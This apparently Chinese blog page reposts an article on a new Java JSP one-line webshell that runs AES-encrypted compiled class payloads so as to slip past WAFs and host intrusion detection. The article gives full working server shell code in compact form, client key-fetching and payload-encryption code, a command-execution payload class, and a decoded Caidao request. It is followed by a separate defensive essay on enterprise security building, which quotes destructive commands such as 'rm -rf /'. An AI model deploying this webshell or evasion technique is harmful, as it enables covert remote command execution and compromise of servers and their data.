Vampire's blog |

【转发】利用动态二进制加密实现新型一句话木马之Java篇

0x00 概述
本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:
利用动态二进制加密实现新型一句话木马之Java篇
利用动态二进制加密实现新型一句话木马之.net篇
利用动态二进制加密实现新型一句话木马之php篇
利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍

0x01 前言
一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。

0x02 理论篇
为什么会被拦截
在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截?
我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:
1.png

Payload如下:

caidao=Response.Write("->|");
var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:/ "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。

被动的反抗
当然这种很low的规则,绕过也会很容易,攻击者只要自定义自己的payload即可绕过,比如把参数改下名字即可,把z1,z2改成z9和z10。不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。再比如攻击者采用多种组合编码方式进行编码,对payload进行加密等等,不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。于是攻击者和防御者展开了长期的较量,不停的变换着各种姿势……

釜底抽薪
其实防御者之所以能不停的去更新自己的规则,主要是因为两个原因:1.攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。2.攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。
试想一下,如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
SO,这就是我们可以一劳永逸绕过waf的思路,具体流程如下:

1、首次连接一句话服务端时,客户端首先向服务器端发起一个GET请求,服务器端随机产生一个128位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中。
2、客户端获取密钥后,对本地的二进制payload先进行AES加密,再通过POST方式发送至服务器端。
3、服务器收到数据后,从Session中取出秘钥,进行AES解密,解密之后得到二进制payload数据。
4、服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回。
5、客户端解密服务器端返回的结果。

如下为执行流程图:
2.png

0x03 实现篇
服务端实现
想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一个新型一句话木马:

1、服务器端动态解析二进制class文件:
首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:

3.png

因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
下面我们写个demo来测试一下:

package net.rebeyond;    
import sun.misc.BASE64Decoder;

public class Demo {
    public static class Myloader extends ClassLoader /继承ClassLoader
    {   
        public  Class get(byte[] b)
        {
            return super.defineClass(b, 0, b.length);
        }       
    }
    public static void main(String[] args) throws Exception {
        / TODO Auto-generated method stub
        String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
        BASE64Decoder code=new sun.misc.BASE64Decoder();
        Class result=new Myloader().get(code.decodeBuffer(classStr));/将base64解码成byte数组,并传入t类的get函数
        System.out.println(result.newInstance().toString());
    }
}

上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:

package net.rebeyond;
import java.io.IOException;

public class Payload {
    @Override
    public String toString() {
        / TODO Auto-generated method stub
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            / TODO Auto-generated catch block
            e.printStackTrace();
        }
        return "OK";
    }
}

简单解释一下上述代码:

1、首先自定义一个类Myloader,并继承classloader父类,然后自定义一个名为get的方法,该方法接收byte数组类型的参数,然后调用父类的defineClass方法去解析byte数据,并返回解析后的Class。
2、单独编写一个Payload类,并实现toString方法。因为我们想要我们的服务端尽可能的短小精悍,所以我们定义的Payload类即为默认的Object的子类,没有额外定义其他方法,因此只能借用Object类的几个默认方法,由于我们执行payload之后还要拿到执行结果,所以我们选择可以返回String类型的toString方法。把这个类编译成Payload.class文件。
3、main函数中classStr变量为上述Payload.class文件二进制流的base64编码。
4、新建一个Myloader的实例,将classStr解码为二进制字节流,并传入Myloader实例的get方法,得到一个Class类型的实例result,此时result即为Payload.class(注意此处的Payload.class不是上文的那个二进制文件,而是Payload这个类的class属性)。
5、调用result类的默认无参构造器newInstance()生成一个Payload类的实例,然后调用该实例的toString方法,继而执行toString方法中的代码:Runtime.getRuntime().exec("calc.exe");return “OK”
6、在控制台打印出toString方法的返回值。
OK,代码解释完了,下面尝试执行Demo类,成功弹出计算器,并打印出“OK”字符串,如下图:

4.png

到此,我们就可以直接动态解析并执行编译好的class字节流了。

2、生成密钥:

首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:

if (request.getMethod().equalsIgnoreCase("get")) {
    String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
    request.getSession().setAttribute("uid", k);
    out.println(k);
    return;
}

这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。

3、解密数据,执行:

当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:

Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();

4、改进一下

前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。

重新翻看了一下Object类的方法列表:

5.png

可以看到equals方法完美符合我们的要求,有入参,而且入参是Object类,在Java世界中,Object类是所有类的基类,所以我们可以传递任何类型的对象进去。

方法找到了,下面看我们要怎么把servlet的内置对象传进去呢?传谁呢?

JSP有9个内置对象:

6.png

但是equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();

另外,如果想要顺利的在equals中调用Request、Response、Seesion这几个对象,还需要考虑一个问题,那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Seesion这些类的ClassLoader不是同一个,所以在equals中访问这些类会出现java.lang.ClassNotFoundException异常。

解决方法就是复写ClassLoader的如下构造函数,传递一个指定的ClassLoader实例进去:

7.png

5、完整代码:

<%@ page
    import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {
    public Myloader(ClassLoader c) 
    {super(c);}
    public Class get(byte[] b) {  /定义get方法用来将指定的byte[]传给父类的defineClass
        return super.defineClass(b, 0, b.length);
    }
}
%>
<%
    if (request.getParameter("pass")!=null) {  /判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
        String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  /随机生成一个16字节的密钥
        request.getSession().setAttribute("uid", k); /将密钥写入当前会话的Session中
        out.print(k); /将密钥发送给客户端
        return; /执行流返回,握手请求时,只产生密钥,后续的代码不再执行
    }
    /*
    当请求为非握手请求时,执行下面的分支,准备解密数据并执行
    */
    String uploadString= request.getReader().readLine();/从request中取出客户端传过来的加密payload
    Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); /把payload进行base64解码
    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); / 选择AES解密套件
    c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); /从Session中取出密钥
    Byte[] classData= c.doFinal(encryptedData);  /AES解密操作
    Object myLoader= new Myloader().get(classData).newInstance(); /通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
    String result= myLoader.equals(pageContext); /调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
%>

为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

现在网络上流传的菜刀jsp一句话木马要7000多个字节,我们这个全功能版本只有611个字节,当然如果只去掉动态加密而只实现传统一句话木马的功能的话,可以精简成319个字节,如下:

<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>

至此,我们的具有动态解密功能的、能解析执行任意二进制流的新型一句话木马就完成了。

客户端实现
1、远程获取加密密钥:
客户端在运行时,首先以GET请求携带密码字段向服务器发起握手请求,获取此次会话的加密密钥和cookie值。加密密钥用来对后续发送的Payload进行AES加密;上文我们说到服务器端随机产生密钥之后会存到当前Session中,同时会以set-cookie的形式给客户端一个SessionID,客户端获取密钥的同时也要获取该cookie值,用来标识客户端身份,服务器端后续可以通过客户端传来的cookie值中的sessionId来从Session中取出该客户端对应的密钥进行解密操作。关键代码如下:

public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
    Map<String, String> result = new HashMap<String, String>();
    StringBuffer sb = new StringBuffer();
    InputStreamReader isr = null;
    BufferedReader br = null;
    URL url = new URL(getUrl);
    URLConnection urlConnection = url.openConnection();

    String cookieValue = urlConnection.getHeaderField("Set-Cookie");
    result.put("cookie", cookieValue);
    isr = new InputStreamReader(urlConnection.getInputStream());
    br = new BufferedReader(isr);
    String line;
    while ((line = br.readLine()) != null) {
        sb.append(line);
    }
    br.close();
    result.put("key", sb.toString());
    return result;
}

2、动态生成class字节数组:

我们只需要把payload的类写好一起打包进客户端jar包,然后通过ASM框架从jar包中以字节流的形式取出class文件即可,如下是一个执行系统命令的payload类的代码示例:

public class Cmd {

public static String cmd;

@Override
public boolean equals(Object obj) {
    / TODO Auto-generated method stub
    PageContext page = (PageContext) obj;
    page.getResponse().setCharacterEncoding("UTF-8");
    Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding"));
    try {
        String result = "";
        if (cmd != null && cmd.length() > 0) {
            Process p;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd });
            } else {
                p = Runtime.getRuntime().exec(cmd);
            }
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
            String disr = br.readLine();
            while (disr != null) {
                result = result + disr + "\n";
                disr = br.readLine();
            }
            result = new String(result.getBytes(osCharset));
            page.getOut().write(result.trim());
        }
    } catch (Exception e) {
        try {
            page.getOut().write(e.getMessage());
        } catch (IOException e1) {
            / TODO Auto-generated catch block
            e1.printStackTrace();
        }
    }

    return true;
}

3、已编译类的参数化:
上述示例中需要执行的命令是硬编码在class文件中的,因为class是已编译好的文件,我们总不能每执行一条命令就重新编译一次payload。那么怎么样让Payload接收我们的自定义参数呢?直接在Payload中用request.getParameter来取?当然不行,因为为了避免被waf拦截,我们淘汰了request参数传递的方式,我们的request body就是一堆二进制流,没有任何参数。在服务器侧取参数不可行,那就从客户端侧入手,在发送class字节流之前,先对class进行参数化,在不需要重新编译的情况下向class文件中注入我们的自定义参数,这是比较关键的一步。这里我们要使用ASM框架来动态修改class文件中的属性值,关键代码如下:

public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
{
    byte[] result;
    ClassReader classReader = new ClassReader(clsName);
    final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);

    classReader.accept(new ClassAdapter(cw) {

        @Override
        public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
            / TODO Auto-generated method stub
            if (params.containsKey(filedName))
            {
                String paramValue=params.get(filedName);
                return super.visitField(arg0, filedName, arg2, arg3, paramValue);
            }

            return super.visitField(arg0, filedName, arg2, arg3, arg4);
        }},0);
    result=cw.toByteArray();
    return result;
}

我们只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class。

4、加密payload:

利用步骤1中获取的密钥对payload进行AES加密,然后进行Base64编码,代码如下:

public static String getData(String key,String className,Map<String,String> params) throws Exception
{
    byte[] bincls=Params.getParamedClass(className, params);
    byte[] encrypedBincls=Decrypt.Encrypt(bincls,key);
    String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls);
    return basedEncryBincls;
}

5、发送payload,接收执行结果并解密:
Payload加密之后,带cookie以POST方式发送至服务器端,并将执行结果取回,如果结果是加密的,则进行AES解密。

案例演示
下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的jsp一句话木马:

8.png

然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:

9.png

然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:

10.png

本篇完。
本文转载于/xz.aliyun.com/t/2744

【务实】浅谈企业安全建设

企业安全建设是企业发展的必要任务,它会伴随业务发展的整个生命周期,并且它的必要性在业务发展壮大之后显得尤为突出。

我们的企业,在创业初期一般都不太会考虑安全建设。当公司发展到一定规模,业务线扩张,公司营收激增以至于被黑客觊觎的时候,公司领导者开始关注和重视安全,这是常态,它是由安全本身的属性决定的。当我们开始重视安全,试图着手做点什么的时候,本文中的观点可能会对你有所帮助。

企业安全建设是保障业务正常运行,保护用户数据不被窃取,保全企业资产的首要任务。做安全建设一定是围绕:业务、用户、企业这三个方面来进行的。

1、保障业务正常运行

要保障业务正常运行,我们首先需要保证服务器的稳定。要保证服务器稳定,需要抗DDoS和防止被入侵。

抗击DDoS对于大多数公司来说都是一件特别奢侈的事情。过去的十几年,大多数公司可能会选择购买ADS设备,而现在有一部分公司会选择云上的解决方案。有点类似于购买保险,我们不确定一年会不会遭受一次DDoS攻击,但是如果遭受一次DDoS攻击给公司带来的损伤可能是灾难性的,所以我们需要抗DDoS。相对于抗DDoS来说反入侵的工作就十分复杂了。首先,需要在网络层部署防火墙防护,其次需要在主机层部署入侵检测和防病毒。另外,还需要对网站的做定期测试和扫描。最后,网络服务器、数据库服务器、中间层等软件版本需要及时地更新和打补丁,做到以上这些才能抵抗得住一般程度的脚本小子(脚本小子:指的是并没有太多的计算机和网络知识,只是能拿已经公开的漏洞利用工具或高度集成的自动化扫描工具进行攻击的人)。

2、保护用户数据不被窃取

一般来说,互联网公司主要的盈利来源就是用户,用户在体验业务时不可避免地会将自己的隐私数据上传到服务器,而公司也有义务保护用户的数据不被外部窃取。一些国内外非常知名的互联网公司曾经因为不慎泄漏的用户数据而面临几近破产的窘境。所以,保护用户数据是一件大事。(因为在上一个话题中已经提到了防止入侵,这里就不再赘述。)除了防止入侵之外,还需要防止内部人员买卖,还需要防止误操作等等情况的发生。

首先,我们看如何防止内部人员买卖。如果把用户数据从用户的客户端提交,到服务器逻辑处理,最后到储存在数据库中比做一条河流的话,这条河流所有流域都会覆盖相应的业务人员,这些人员就是审计的重点对象。另外用户数据必须加密,而且加密和存储应当由不同的人员来担任。在存储的工作上应当特别谨慎,这也是数据泄漏事件中最经常出问题的环节,数据的读取权限最理想的情况应该只分配给机器而不是人,因为人员会流动,从人性角度来看这个问题就变得相对不可控。

再来看一下如何防止误操作,“delete * from very_important where id=1 or 1=1”、“rm –rf /”等等这样的误操作我们先不去看背后是否有其他神秘力量驱使,假设真的是无知的运维或开发人员误操作带来的毁灭性灾难,我们应当如何防御。首先,数据库和重要的文件应当备份,这句话尽管大多数开发运维人员都谙熟于心,但是却鲜有人会去真的这样操作,不然也就不会有这么多“删库跑路”的事件发生了。所以,需要有相应的制度保证,并且需要有效监控。另外,划分清楚人员权限也可以在很大程度上避免此类事件,能够拥有“delete” 和 “rm”的角色我认为不应该是实习生,应该是企业内较少数的一部分人,拥有更高的权限意味着拥有更大的责任,一旦悲剧事件发生,必须要追查到底,而不是每次都找一个实习生来承担一切。对于托管在云平台的业务来说,定期保存镜像也是一个不错的选择,建议保存两份镜像并分两个服务器存放,毕竟我们不能总“把鸡蛋放在同一个篮子里”。

3、保全企业资产

企业是以盈利为目的的,企业的资产是企业得以维持的物质支柱。举个例子,有些企业的服务器存在某种通用型的漏洞被黑客攻击以后用来挖矿,管理者在不知情的情况下误以为服务器资源紧张,进行了扩容。由于平行扩容,服务器配置不变,运行的实例不变,还是存在一样的漏洞,这批服务器又被黑客拿下,继续挖矿。这样就相当于抱薪救火,薪不尽火不灭。服务器作为企业的资产需要被保护,而保护的方式就是反入侵,而反入侵的首要任务就是发现入侵。还有一些企业深受羊毛党的迫害,每年的利润有一大半都贡献给了薅羊毛的人,这就需要维护我们的业务安全,维护业务安全需要依靠一些成熟的安全产品,当然更需要我们的程序员写出逻辑严谨的代码,因为十几行存在逻辑漏洞的代码所导致的支付漏洞可以在一夜之间让这个企业彻底破产。

有很多企业的领导者都存在一个认识上的误区,他们认为安全像某币一样是一个炒作出来的概念,认为这个世界上有一批黑客,他们中一部分人专门研究漏洞,公开新的漏洞,另一部分人创办了安全公司,声称能帮助企业减缓和防御漏洞来挣钱。还有一部分人,去直接通过漏洞来挣钱。

首先,你要知道:“这个世界并不是因为有黑客才不安全,而是因为不安全才有了黑客。”

当你认同这个观点以后,企业安全建设就变得简单了。至少我们不是以一种抱怨的态度来面对这个问题的。就像有人会抱怨这个世界为什么不是物质极大丰富,为什么不能不劳而获一样,有人也在抱怨为什么互联网不是始终安全的,为什么我需要购买这么多的安全产品,购买这么多的安全服务。安全建设是常态,不建设安全才是特例。

企业安全建设是指通过网络安全基础设施建设、人员安全意识培养、安全规范落地、内部审计等方面的定向投入,提升企业网络安全的整体防御能力和监控能力。

请原谅我给企业安全建设私自下了一个定义,但是我想至少这个定义能在未来5年内是相对正确的。

                                        **网络安全基础设施建设**

这里提到了基础设施这个词,而且是网络安全的基础设施。但是基础设施并不一定都是硬件,还包括软件,甚至是安全服务。我们先来看一下现在的常见的网络安全基础设施有哪些:
1.jpg

18年前是什么样呢?
2.jpg

也就是人们经常说的安全设备“老三样”。为什么安全发展这么快?为什么安全基础设施多了这么多呢?其实是安全技术进步了,检测和防御的手段变多了。那根本原因呢?其实是业务进化了。
我始终认为安全建设是伴随业务的一项工程,什么样的业务就需要匹配什么样的安全建设。

我不会为了公司业绩而生硬地向一个仅用UDP发包的游戏公司推销WAF产品,因为场景不匹配。正如近年来移动端的兴起,也让提供移动APP加固解决方案的安全厂商收获了可观的市场一样,其他安全基础设施的存在也都依附于相应的业务需要。
我简要地来介绍一下这些安全产品:

防火墙
具有划分和隔离内网网段,设置在互联网开放的主机和端口,封堵恶意ip的流量等功能。

网络应用防火墙
简称WAF(Web Application Firewall),针对HTTP/HTTPS协议的流量进行协议解析,检测攻击并拦截攻击,同时记录攻击流量和来源。

入侵检测
简称IDS(Intrusion Detection Systems),检测攻击行为,查杀webshell、反弹shell、木马,检测内网端口扫描、弱口令爆破等疑似服务器权限被黑客夺取后发起的敏感行为,来发现入侵。

ADS(抗DDoS系统)
ADS(Anti-DDoS System),抗DDos系统,主要用来清洗DDos的攻击流量和防御CC攻击。

蜜罐系统
蜜罐(HoneyPot),通过在目标网络中预埋蜜罐,引诱攻击者进入蜜罐来发现攻击,同时在监控和掌握攻击者使用的攻击手法,追查攻击来源上起到一定的作用。是一种被动感知的入侵检测系统。

APT防御设备
APT防御设备,在浏览器下载,word、pdf、ppt文档打开,邮箱附件下载,U盘自动播放等APT常见的攻击面上监控,在0day漏洞利用(exploit)攻击链上进行狙击,检测和防御APT攻击。

流量分析
流量分析系统,从网络流量中捕获异常发现数据偷取、反弹shell、webshell上传等攻击行为。

威胁情报
威胁情报系统,通过订阅安全博客、CVE漏洞库、微博等情报来源以及搜索引擎爬取进行情报监控,第一时间获取情报。当系统使用的软件版本受到最新公开漏洞影响时,可以快速响应,修复漏洞。

扫描器(企业安全巡检)
扫描器,现在也叫企业安全巡检系统,可以定期轮询扫描企业全量的线上业务。扫描方法集成了已公开的安全漏洞的POC(POC:指的是漏洞的验证程序或代码,通过判断提交返回结果可快速判断漏洞是否存在)和常见web漏洞(例如:SQL注入、XSS)检测引擎。

除了上述的通用安全产品之外,还有一些比较有针对性的安全产品和工作。

移动APP加固系统
针对移动APP为主的业务提供加固方案,例如:代码混淆、加壳、数据加密等,主要是Android和IOS客户端。

业务安全防护产品
防止外部黑客恶意爬取网站数据,防止机器人自动操作完成网站悬赏任务,防止薅羊毛、业务刷单等。

代码审计
代码审计有服务也有产品,这里是指提供代码审计功能的产品,可以扫描业务代码,输出安全报告,开发人员可根据漏洞详情修补漏洞。

应急响应中心
应急响应中心,简称SRC(Security Response Center),并非安全产品,而是需要建设的一部分工作,公司设立应急响应中心可通过悬赏的方式吸引白帽子(白帽子:在安全界是指愿意将漏洞报告给厂商的网络安全爱好者)。一定程度上可以减缓企业内部漏洞被外部恶意利用,同时还可以收集威胁情报,快速响应和处理安全突发事件。

相比于安全产品,安全服务也同样重要。有相当大一部分工作,至少在目前这个安全发展的阶段,是无法产品化的。有人经常会将渗透测试和漏洞扫描做对比,认为一款好的扫描软件可以完全代替人工测试,这个观点是错误的。虽然漏洞扫描和渗透测试都是通过模拟黑客攻击的方式站在攻击者视角发现现有系统中的安全问题,但是人工智能还并没有完全普及,要想写出一款可以自动做渗透测试的扫描器比写出Alphago还要艰难得多。所以,扫描器无法适配所有的网络环境,扫描器的开发人员的安全经验也无法覆盖所有的业务场景,人工的渗透测试是不可或缺的。

我们接下来简要介绍一下常见的安全服务:

渗透测试
渗透测试,以模拟黑客攻击的方式进行黑盒测试,重点在于全量测试线上业务,帮助企业发现系统中的安全隐患。

代码审计
代码审计,通过对程序或服务的源代码的人工观察,发现安全漏洞和业务逻辑漏洞,也叫白盒审计。

移动APP测试
测试IOS和Android客户端的安全性,包括客户端安全性:加壳强度、是否可被反编译,通信安全性,以及业务逻辑安全性,用户数据安全性等。

win/mac/linux客户端测试
测试windows、mac、linux客户端软件是否存在被反汇编、dll/so劫持等风险,测试通信安全性,业务逻辑安全性,用户数据安全性等。

基线检查
观察服务器服务和软件等配置项,发现不安全配置或运行不安全版本的软件带来的风险。

应急响应
当遭遇入侵事件时,协助企业排查入侵痕迹,分析入侵来源和漏洞成因,清理后门木马,修复系统漏洞。广义上的应急响应服务还包括与企业合作共建互联网安全生态,通过情报共享、漏洞预警等方式协助企业建设应急响应体系。

安全扫描
提供安全扫描服务,使用扫描器对企业业务进行扫描,输出安全扫描报告,批量化自动化地快速发现较为明显的风险。

安全培训
针对企业员工开展安全培训,提高员工安全意识。可以针对具体某种开发语言开展专项的编码规范培训,提高代码安全质量。也可以介绍安全攻防经验,增强开发运维人员的安全综合技能。

红蓝对抗
以APT攻击者视角作为蓝军发起模拟攻击,攻击面包括企业员工,公司Wi-Fi等较为全面的攻击面,高度还原真实的APT攻击案例。通过红蓝对抗(攻防演练)可以暴露企业面临最严峻的安全风险,同时也可以对企业现有的安全防御体系(红军)进行验证,以检测入侵事件发现能力,内部安全管控能力。

安全众测
借助众多白帽子的力量针对同一个目标系统在规定时间内进行漏洞悬赏测试,按漏洞风险等级给予第一个提交者一定的奖励。优势是按漏洞付费,性价比较高。但是由于是以漏洞为导向,白帽子很有可能在漏洞密度较高的区域花费大量时间,而导致测试不全面的问题。

前面概念性的内容特别多,我们需要问自己一个问题:如何落地?

再优秀的安全产品安全服务,再完美的安全解决方案都需要有可靠的落地措施,如果不能落地,那一切都成了空架子。

如何落地?回答这个问题需要先回答以下四个问题:

  • 我们的现状是怎样的?(N,now)
